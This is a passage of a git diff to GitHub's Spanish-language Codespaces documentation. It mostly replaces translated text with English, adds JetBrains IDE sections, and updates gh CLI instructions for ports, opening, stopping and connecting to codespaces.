`org`, or `public`. After entering the command choose from the list of codespaces that's displayed. ```shell gh codespace ports visibility CODESPACE-PORT:SETTINGS ``` -Puedes configurar la visibilidad para varios puertos con un solo comando. Por ejemplo: +You can set the visibility for multiple ports with one command. For example: ```shell gh codespace ports visibility 80:private 3000:public 3306:org ``` -Para más información sobre este comando, vea [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_ports_visibility). +For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_visibility). + +{% data reusables.codespaces.port-forwarding-labeling-non-jetbrains %} + +You can see the port labels when you list the forwarded ports for a codespace. To do this, use the `gh codespace ports` command and then select a codespace. + +{% data reusables.codespaces.port-forwarding-adding-non-jetbrains %} {% endcli %} -## Etiquetar un puerto +{% jetbrains %} -Puedes etiquetar un puerto para hacerlo más fácil de identificar en una lista. +## Forwarding a port -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Pasa el mouse sobre el puerto que quieras etiquetar y luego haz clic en el icono de etiqueta. - ![Icono de etiqueta para el puerto](/assets/images/help/codespaces/label-icon.png) {% data reusables.codespaces.type-port-label %} +For information on how to forward a port in a codespace to a port on your local machine, see the "Port forwarding" section of the "[Security model](https://www.jetbrains.com/help/idea/security-model.html#port_forwarding)" article in the JetBrains documentation. -## Agregar el peurto a la configuración del codespace +Alternatively, you can use {% data variables.product.prodname_cli %} to forward a port. For more information, click the "{% data variables.product.prodname_cli %}" tab at the top of this page. -Puedes agregar un puerto reenviado a la configuración de {% data variables.product.prodname_github_codespaces %} del repositorio para que este pueda reenviarse automáticamente a todos los codespaces que se crearon desde el repositorio. Después de que actualizas la configuración, cualquier codespace creado debe reconstruirse para que el cambio se aplique. Para obtener más información, consulte "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)". - -Puede configurar manualmente los puertos reenviados en un archivo `.devcontainer.json` mediante la propiedad `forwardPorts`, o bien puede usar el panel "Puertos" del codespace. - -{% data reusables.codespaces.navigate-to-ports-tab %} -1. Haga clic con el botón derecho en el puerto que quiera agregar a la configuración del codespace y, después, haga clic en **Configurar etiqueta y actualizar devcontainer.json**. - ![Opción para establecer la etiqueta y agregar un puerto a devcontainer.json en el menú contextual](/assets/images/help/codespaces/update-devcontainer-to-add-port-option.png) {% data reusables.codespaces.type-port-label %} +{% endjetbrains %} diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/index.md b/translations/es-ES/content/codespaces/developing-in-codespaces/index.md index b118e22ace..8e9254b823 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/index.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/index.md @@ -1,16 +1,16 @@ --- title: Desarrollar en un codespace intro: 'Crea un codespace para comenzar a desarrollar tu proyecto dentro de un ambiente dedicado en la nube. Puedes utilizar puertos reenviados para ejecutar tu aplicación e incluso utilizar codespaces dentro de {% data variables.product.prodname_vscode %}' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' topics: - Codespaces children: - - /codespaces-lifecycle + - /the-codespace-lifecycle - /developing-in-a-codespace - - /creating-a-codespace + - /creating-a-codespace-for-a-repository + - /creating-a-codespace-from-a-template - /deleting-a-codespace - /opening-an-existing-codespace - /using-source-control-in-your-codespace @@ -21,12 +21,13 @@ children: - /connecting-to-a-private-network - /getting-started-with-github-codespaces-for-machine-learning - /using-github-codespaces-in-visual-studio-code + - /using-github-codespaces-in-your-jetbrains-ide - /using-github-codespaces-with-github-cli -ms.openlocfilehash: 32f6b6c874d4a117928e8766ded4a8c02f027c8e -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.openlocfilehash: 166283bd0fbc71b8acc180b20ef597dbc0a50781 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147763624' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159017' --- diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md index 9174311354..cc463fbc81 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/opening-an-existing-codespace.md @@ -1,7 +1,6 @@ --- -title: Apertura de un codespace existente -intro: Puedes volver a abrir un codespace que hayas cerrado o detenido y volver al trabajo. -product: '{% data reusables.gated-features.codespaces %}' +title: Opening an existing codespace +intro: 'You can reopen a codespace that you have closed or stopped and return to your work.' versions: fpt: '*' ghec: '*' @@ -11,25 +10,46 @@ topics: - Fundamentals - Developer shortTitle: Open an existing codespace -ms.openlocfilehash: 37eff72e5384ec5eda55708f7672cfe6832864c1 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110038' --- -Puedes volver a abrir cualquiera de los codespaces activos o detenidos en el {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_vscode %} o mediante la {% data variables.product.prodname_cli %}. No se puede volver a abrir un codespace que se haya eliminado. Para obtener más información, consulta "[Ciclo de vida de los {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/codespaces-lifecycle)". -## Apertura de un codespace existente +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +You can reopen any of your active or stopped codespaces on {% data variables.product.prodname_dotcom_the_website %}, in a JetBrains IDE, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. You can't reopen a codespace that has been deleted. For more information, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)." + +You can view all your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). From this page, you can: + +- Open, stop, or delete your codespaces. +- See who owns (and may be billed for) your codespaces: your personal account, or organizations you belong to. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." +- Create a new codespace, either by choosing one of {% data variables.product.company_short %}'s templates or by clicking **New codespace**. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)" and "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." + +## Opening an existing codespace {% webui %} {% data reusables.codespaces.your-codespaces-procedure-step %} -1. Para abrir un codespace en el editor predeterminado, haz clic en su nombre. {% data reusables.codespaces.about-changing-default-editor %} Para obtener más información, consulta "[Configuración del editor predeterminado para {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)". +1. To open a codespace in your default editor, click the name of the codespace. {% data reusables.codespaces.about-changing-default-editor %} For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)." - Para abrir el codespace en un editor distinto del predeterminado, selecciona los puntos suspensivos ( **...** ) situados a la derecha del codespace y haz clic en **Abrir en la APLICACIÓN**. + To open the codespace in an editor other than your default: + + 1. Click the ellipsis (**...**) to the right of the codespace you want to open. + 1. Click **Open in**. + 1. Click **Open in APPLICATION**. - ![Captura de pantalla de la página "Tus codespaces", con la opción "Abrir en Visual Studio Code" resaltada](/assets/images/help/codespaces/open-codespace-in-another-editor.png) + ![Screenshot of the "Open in" dialog box, with "Open in Visual Studio Code" highlighted](/assets/images/help/codespaces/open-codespace-in-another-editor.png) + + You can open the codespace in: + * Your browser + * {% data variables.product.prodname_vscode %} + * JetBrains Gateway + * JupyterLab + + {% data reusables.codespaces.application-installed-locally %} + + If you choose **JupyterLab**, the JupyterLab application must be installed in the codespace. {% data reusables.codespaces.jupyterlab-in-default-image %} {% endwebui %} @@ -37,42 +57,67 @@ Puedes volver a abrir cualquiera de los codespaces activos o detenidos en el {% {% note %} -**Nota**: {% data reusables.codespaces.using-codespaces-in-vscode %} Para obtener más información, consulta "[Uso de {% data variables.product.prodname_github_codespaces %} en {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)." +**Note:** {% data reusables.codespaces.using-codespaces-in-vscode %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)." {% endnote %} -1. En la aplicación de escritorio {% data variables.product.prodname_vscode_shortname %}, abre la paleta de comandos con Comando+Mayús+P (Mac) o Ctrl+Mayús+P (Windows/Linux). -1. Escribe "Codespaces" y selecciona uno de los comandos siguientes. - - Para abrir un codespace en una ventana nueva de {% data variables.product.prodname_vscode_shortname %}, selecciona **Codespaces: Abrir codespace en nueva ventana**. - - Para abrir un codespace en el editor web, selecciona **Codespaces: Abrir en el explorador**. -1. Haz clic en el codespace que quieras abrir. +1. In the {% data variables.product.prodname_vscode_shortname %} desktop application, open the Command Palette with Command+Shift+P (Mac) or Ctrl+Shift+P (Windows/Linux). +1. Type "Codespaces" and select one of the following commands. + - To open a codespace in a new window of {% data variables.product.prodname_vscode_shortname %}, select **Codespaces: Open Codespace in New Window** + - To open a codespace in the web editor, select **Codespaces: Open in Browser** +1. Click the codespace that you want to open. - ![Captura de pantalla de una lista de codespaces en Visual Studio Code](/assets/images/help/codespaces/open-codespace-from-vscode.png) + ![Screenshot of a list of codespaces in Visual Studio Code](/assets/images/help/codespaces/open-codespace-from-vscode.png) -También puedes acceder a los comandos enumerados anteriormente; para ello, ves a la vista Explorador remoto en {% data variables.product.prodname_vscode_shortname %} y haz clic con el botón derecho en el codespace que quieras abrir. +You can also access the commands listed above by navigating to the Remote Explorer view in {% data variables.product.prodname_vscode_shortname %} and right-clicking the codespace that you want to open. -![Captura de pantalla de un codespace seleccionado en el Explorador remoto, con la opción "Abrir en el explorador" resaltada](/assets/images/help/codespaces/open-codespace-remote-explorer.png) +![Screenshot of a codespace selected in the Remote Explorer, with "Open in Browser" highlighted](/assets/images/help/codespaces/open-codespace-remote-explorer.png) -{% data reusables.codespaces.remote-explorer %} {% endvscode %} +{% data reusables.codespaces.remote-explorer %} +{% endvscode %} {% cli %} -1. En un terminal, escribe uno de los comandos de la {% data variables.product.prodname_cli %} siguientes. - - Para abrir un codespace en {% data variables.product.prodname_vscode_shortname %}, escribe lo siguiente: +1. In a terminal, enter one of the following {% data variables.product.prodname_cli %} commands. + - To open a codespace in {% data variables.product.prodname_vscode_shortname %}, enter: ```shell{:copy} gh codespace code ``` + + {% note %} - - Para abrir un codespace en el explorador, escribe lo siguiente: + **Note**: You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation. + + {% endnote %} + + - To open a codespace in the browser, enter: ```shell{:copy} gh codespace code --web ``` -1. Con las teclas de dirección, ves al codespace que quieres abrir. -1. Para abrir el codespace, presiona Entrar. + - To open a codespace in JupyterLab, enter: + + ```shell{:copy} + gh codespace code --jupyter + ``` + + {% note %} -Para obtener más información, consulta [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) en el manual de la {% data variables.product.prodname_cli %}. + **Note**: {% data reusables.codespaces.jupyterlab-installed-in-codespace %} + + {% endnote %} + +1. Using the arrow keys, navigate to the codespace that you want to open. +1. To open the codespace, press Enter. + +For more information, see [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) in the {% data variables.product.prodname_cli %} manual. {% endcli %} + +{% jetbrains %} + +{% data reusables.codespaces.opening-codespace-in-jetbrains %} + +{% endjetbrains %} \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md index f73f9a66d5..879021588c 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace.md @@ -1,7 +1,6 @@ --- -title: Detención e inicio de un codespace -intro: Puedes detener e iniciar el codespace para guardar recursos y pausar el trabajo. -product: '{% data reusables.gated-features.codespaces %}' +title: Stopping and starting a codespace +intro: 'You can stop and start your codespace to save resources and to pause work.' versions: fpt: '*' ghec: '*' @@ -11,89 +10,102 @@ topics: - Fundamentals - Developer shortTitle: Stop a codespace -ms.openlocfilehash: 82e547b62593a74bb201dddd4992f41417d686f9 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148110059' --- -## Acerca de la detención y el inicio de un codespace + +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +## About stopping and starting a codespace {% data reusables.codespaces.stopping-a-codespace %} -Independientemente de dónde hayas creado los codespaces o accedido a estos, puedes verlos y administrarlos en el explorador en https://github.com/codespaces. +Regardless of where you created or access your codespaces, you can view and manage them in your browser at https://github.com/codespaces. -## Detener un codespace +## Stopping a codespace - {% webui %} +{% webui %} {% data reusables.codespaces.navigate-to-codespaces-page %} - 1. Haz clic en los puntos suspensivos ( **…** ) situados a la derecha del codespace que quieras detener. - 1. Haz clic en **Detener codespace**. - ![Captura de pantalla de la opción para detener un codespace](/assets/images/help/codespaces/stop-codespace-webui.png) + 1. To the right of the codespace you want to stop, click the elipsis (**...**). + 1. Click **Stop codespace**. + ![Screenshot of option to stop a codespace](/assets/images/help/codespaces/stop-codespace-webui.png) - {% endwebui %} +{% endwebui %} +{% cli %} - {% cli %} +{% data reusables.cli.cli-learn-more %} - {% data reusables.cli.cli-learn-more %} - - Para detener un codespace, usa el subcomando `gh codespace stop` y, después, elige el codespace que quieras detener de la lista que se muestra. + To stop a codespace use the `gh codespace stop` subcommand and then choose the codespace you want to stop from the list that's displayed. ```shell{:copy} gh codespace stop ``` - {% endcli %} +{% endcli %} - - {% vscode %} +{% vscode %} {% data reusables.vs-code.open-command-palette %} -1. Escribe `stop` y selecciona **Codespaces: Detención de un codespace** en la lista de opciones. -1. En la lista de codespaces, selecciona el que quieras detener. +1. Type `stop` and select **Codespaces: Stop Codespace** from the list of options. +1. In the list of codespaces, select the codespace you want to stop. - {% endvscode %} +{% endvscode %} +{% jetbrains %} -## Reinicio de un codespace +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the stop icon. - {% webui %} + ![Screenshot of the log button](/assets/images/help/codespaces/jetbrains-plugin-icon-stop.png) + +{% endjetbrains %} + +## Restarting a codespace + +{% webui %} {% data reusables.codespaces.navigate-to-codespaces-page %} -1. Haz clic en el nombre del codespace que quieras reiniciar. -![Captura de pantalla de los codespaces detenidos](/assets/images/help/codespaces/restart-codespace-webui.png) +1. Click the name of the codespace you want to restart. +![Screenshot of stopped codespaces](/assets/images/help/codespaces/restart-codespace-webui.png) - {% endwebui %} +{% endwebui %} - {% cli %} +{% cli %} -Al reiniciar un codespace, puedes elegir abrirlo en {% data variables.product.prodname_vscode %} o en el explorador. +When you restart a codespace you can choose to open it in {% data variables.product.prodname_vscode %} or in your browser. - - Para reiniciar un codespace y abrirlo en {% data variables.product.prodname_vscode %}, usa el subcomando `gh codespace code` y, después, elige el codespace que quieras reiniciar en la lista que se muestra. + - To restart a codespace and open it in {% data variables.product.prodname_vscode %}, use the `gh codespace code` subcommand and then choose the codespace you want to restart from the list that's displayed. ```shell{:copy} gh codespace code ``` - - Para reiniciar un codespace y abrirlo en el explorador, usa el subcomando `gh codespace open --web` y, después, elige el codespace que quieras reiniciar en la lista que se muestra. + - To restart a codespace and open it in your browser, use the `gh codespace open --web` subcommand and then choose the codespace you want to restart from the list that's displayed. ```shell{:copy} gh codespace open --web ``` - {% endcli %} +{% endcli %} - - {% vscode %} +{% vscode %} {% data reusables.vs-code.open-command-palette %} -1. Escribe `connect` y selecciona **Codespaces: Conexión a un codespace** en la lista de opciones. -1. En la lista de codespaces, selecciona el que quieras reiniciar. +1. Type `connect` and select **Codespaces: Connect to Codespace** from the list of options. +1. In the list of codespaces, select the codespace you want to restart. - {% endvscode %} +{% endvscode %} - ## Información adicional -- "[Ciclo de vida de Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)" +{% jetbrains %} + +{% data reusables.codespaces.opening-codespace-in-jetbrains %} + +{% endjetbrains %} + +## Further reading + +- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)" diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md index fcdd381b5c..ef83a33004 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests.md @@ -1,8 +1,7 @@ --- title: Using GitHub Codespaces for pull requests shortTitle: Pull requests -intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your development workflow to create pull requests, review pull requests, and address review comments.' -product: '{% data reusables.gated-features.codespaces %}' +intro: 'You can use {% data variables.product.prodname_github_codespaces %} in your web browser, or in {% data variables.product.prodname_vscode %} to create pull requests, review pull requests, and address review comments.' versions: fpt: '*' ghec: '*' @@ -27,19 +26,33 @@ redirect_from: {% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_github_codespaces %}. +1. In the list of pull requests, click the pull request you'd like to open in {% data variables.product.prodname_codespaces %}. 1. On the right-hand side of your screen, click **{% octicon "code" aria-label="The code icon" %} Code**. -1. In the {% data variables.product.prodname_codespaces %} tab, click **Create codespace on BRANCH**. - ![Option to open PR in a codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png) +1. In the {% data variables.product.prodname_codespaces %} tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}) + + ![Option to open PR in a codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png) + + A codespace is created for the pull request branch and is opened in your default editor for {% data variables.product.prodname_github_codespaces %}. ## Reviewing a pull request in {% data variables.product.prodname_codespaces %} -{% data reusables.codespaces.review-pr %} +1. With your default editor set to either {% data variables.product.prodname_vscode %} or {% data variables.product.prodname_vscode %} for Web, open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)" above. +2. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace. + ![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png) +3. To review a specific file, click the **Open File** icon in the sidebar. + ![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png) +4. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**. + ![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png) +5. When you are finished adding review comments, from the sidebar you can choose to either submit the comments, approve the changes, or request changes. + ![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png) For more information on reviewing a pull request, see "[Reviewing proposed changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." ## View comments from a review in {% data variables.product.prodname_codespaces %} -Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review. +Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) in your web browser, or in {% data variables.product.prodname_vscode_shortname %}, to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review. ![Option to open PR in a codespace](/assets/images/help/codespaces/incorporating-codespaces.png) + + + diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md index 1f866ccdd6..74635bca2b 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md @@ -1,7 +1,7 @@ --- title: Using GitHub Codespaces in Visual Studio Code +shortTitle: Visual Studio Code intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.' -product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code - /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code @@ -15,9 +15,7 @@ topics: - Codespaces - Visual Studio Code - Developer -shortTitle: Visual Studio Code --- - ## About {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %} @@ -37,9 +35,9 @@ Use the {% data variables.product.prodname_vscode_marketplace %} to install the {% mac %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**. +1. Click **Sign in to {% data variables.product.prodname_dotcom %}...**. - ![Signing in to view {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) + ![Signing in to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) 2. To authorize {% data variables.product.prodname_vscode_shortname %} to access your account on {% data variables.product.product_name %}, click **Allow**. 3. Sign in to {% data variables.product.product_name %} to approve the extension. @@ -53,7 +51,7 @@ Use the {% data variables.product.prodname_vscode_marketplace %} to install the ![The {% data variables.product.prodname_github_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png) -1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**. +1. Click **Sign in to view {% data variables.product.prodname_codespaces %}**. ![Signing in to view {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) @@ -100,4 +98,10 @@ You can use the [Insiders Build of {% data variables.product.prodname_vscode_sho 2. From the list, select "Switch to Insiders Version". ![Clicking on "Insiders Build" in {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png) + 3. Once selected, {% data variables.product.prodname_github_codespaces %} will continue to open in Insiders Version. + +## Further reading + +- "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)" +- "[Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces)" \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md index bd2907401d..85469065f5 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md @@ -2,7 +2,6 @@ title: Using GitHub Codespaces with GitHub CLI shortTitle: GitHub CLI intro: 'You can work with {% data variables.product.prodname_github_codespaces %} directly from your command line by using `gh`, the {% data variables.product.product_name %} command line interface.' -product: '{% data reusables.gated-features.codespaces %}' miniTocMaxHeadingLevel: 3 versions: fpt: '*' @@ -84,7 +83,7 @@ An asterisk at the end of the branch name for a codespace indicates that there a gh codespace create -r OWNER/REPO_NAME [-b BRANCH] ``` -For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)." ### Stop a codespace @@ -118,6 +117,14 @@ To run commands on the remote codespace machine, from your terminal, you can SSH gh codespace ssh -c CODESPACE-NAME ``` +{% note %} + +**Note**: {% data reusables.codespaces.ssh-server-installed %} + +
For more information about the `devcontainer.json` file and the default container image, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." + +{% endnote %} + {% data variables.product.prodname_github_codespaces %} copies your GitHub SSH keys into the codespace on creation for a seamless authentication experience. You may be asked to enter the passphrase for your SSH key, after which you will get a command prompt from the remote codespace machine. If you don't have any SSH keys, follow the instructions in "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." @@ -128,7 +135,7 @@ If you don't have any SSH keys, follow the instructions in "[Generating a new SS gh codespace code -c CODESPACE-NAME ``` -For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code)." +You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)." ### Open a codespace in JupyterLab @@ -136,6 +143,8 @@ For more information, see "[Using {% data variables.product.prodname_github_code gh codespace jupyter -c CODESPACE-NAME ``` +{% data reusables.codespaces.jupyterlab-installed-in-codespace %} + ### Copy a file to/from a codespace ```shell diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md index 3a4ab7a0f6..4765a8908e 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md @@ -1,7 +1,6 @@ --- -title: Utilizar el control de código fuente en tu codespace -intro: 'Después de hacer cambios en un archivo de tu codespace, puedes confirmar los cambios rápidamente y subir tu actualización al repositorio remoto.' -product: '{% data reusables.gated-features.codespaces %}' +title: Using source control in your codespace +intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository. versions: fpt: '*' ghec: '*' @@ -11,73 +10,113 @@ topics: - Fundamentals - Developer shortTitle: Source control -ms.openlocfilehash: 39913ef49f6c404a95debc3f4ee7b30e9187ddf6 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147110605' --- -## Sobre el control de código fuente en {% data variables.product.prodname_github_codespaces %} -Puedes llevar a cabo todas las acciones de Git que necesites directamente dentro de tu codespace. Por ejemplo, puedes recuperar cambios del repositorio remoto, cambiar de rama, crear una rama nueva, confirmar y subir cambios y crear solicitudes de cambios. Puedes utilizar la terminal integrada dentro de tu codespace para ingresar comandos de Git o puedes hacer clic en los iconos u opciones de menú para completar las tareas más comunes de Git. Esta guía te explica cómo utilizar la interface de usuario gráfica para el control de código fuente. +{% jetbrains %} -El control de fuentes en {% data variables.product.prodname_github_codespaces %} utiliza el mismo flujo de trabajo que {% data variables.product.prodname_vscode %}. Para obtener más información, consulta la documentación de {% data variables.product.prodname_vscode_shortname %} "[Uso del control de versiones de {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)". +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} -Un flujo de trabajo típico para actualizar un archivo utilizando {% data variables.product.prodname_github_codespaces %} sería: +{% endjetbrains %} -* Desde la rama predeterminada de tu repositorio en {% data variables.product.prodname_dotcom %}, crea un codespace. Vea "[Creación de un codespace](/codespaces/developing-in-codespaces/creating-a-codespace)". -* En tu codespace, crea una rama nueva para trabajar en ella. -* Haz tus cambios y guárdalos. -* Confirme el cambio. -* Levanta una solicitud de cambios. +## About source control in {% data variables.product.prodname_github_codespaces %} -## Crear o cambiar de rama +You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from a remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control. -{% data reusables.codespaces.create-or-switch-branch %} +{% vscode %} -{% tip %} +For more information about Git support in {% data variables.product.prodname_vscode %}, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation. -**Sugerencia**: Si alguien ha modificado un archivo en el repositorio remoto, en la rama a la que haya cambiado no verá estos cambios hasta que los extraiga en el codespace. +{% endvscode %} -{% endtip %} +{% webui %} -## Extraer cambios del repositorio remoto +Source control in the {% data variables.product.prodname_vscode %} web client uses the same workflow as the {% data variables.product.prodname_vscode %} desktop application. For more information, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation. -Puedes extraer cambios del repositorio remoto hacia tu codespace en cualquier momento. +{% endwebui %} -{% data reusables.codespaces.source-control-display-dark %} -1. En la parte superior de la barra lateral, haga clic en los puntos suspensivos ( **...** ). ![Botón de puntos suspensivos para Ver y Más acciones](/assets/images/help/codespaces/source-control-ellipsis-button.png) -1. En el menú desplegable, haga clic en **Extraer**. +A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be: -Si el la configuración del contenedor dev cambió desde que creaste el codespace, puedes aplicar los cambios si recompilas el contenedor para el codespace. Para más información, vea 